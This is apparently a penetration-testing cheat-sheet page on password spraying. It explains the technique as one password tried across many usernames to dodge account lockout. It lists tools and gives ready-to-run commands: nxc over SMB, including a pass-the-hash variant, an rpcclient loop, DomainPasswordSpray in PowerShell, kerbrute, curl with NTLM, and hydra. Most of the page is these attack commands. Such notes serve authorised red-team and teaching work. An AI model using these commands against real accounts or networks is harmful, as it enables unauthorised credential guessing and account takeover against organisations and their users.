Password spraying ¶

Password spraying is a technique that is the most commonly used nowadays to find a working credential pair.

We select a password and test it on a list of usernames. After a delay, we repeat this step with another password. 🤖

Many companies have some password policy that may include account lookout after a certain number of failed attempts, which makes brute force impractical as we would lock all accounts.

Some tools you might use:

• SprayingToolkit (1.4k ⭐, 2022 🪦)
• TREVORspray (1.0k ⭐)
• CredMaster (1.0k ⭐)

Many network authentication tools can be used such as hydra -C.

Leveraging SMB ¶

You can use SMB:

$ nxc smb IP -u wordlist -p PasswordHere
$ nxc smb IP -u wordlist -p PasswordHere | grep +
$ nxc smb --local-auth CIDR -u administrator -H hash | grep +

Leveraging RPC ¶

A very poor but straightforward RPC password spraying:

$ for u in $(cat wordlist);do rpcclient -U "$u%PasswordHere" -c "getusername;quit" IP | grep Authority; done

Leveraging A Domain-joined Host ¶

You may use DomainPasswordSpray (1.8k ⭐):

PS> Import-Module .\DomainPasswordSpray.ps1
PS> Invoke-DomainPasswordSpray -Password PasswordHere -OutFile output.txt -ErrorAction SilentlyContinue

Leveraging Kerberos Authentication Module ¶

We can use kerbrute:

$ kerbrute passwordspray -d domain --dc IP valid_users.txt mypassword

We can use curl to test a pair of credentials:

$ curl URL -u "username:password" --ntlm

We can also use tools such as hydra:

$ hydra -L usernames.txt -p password example.com http-get

• sprayhound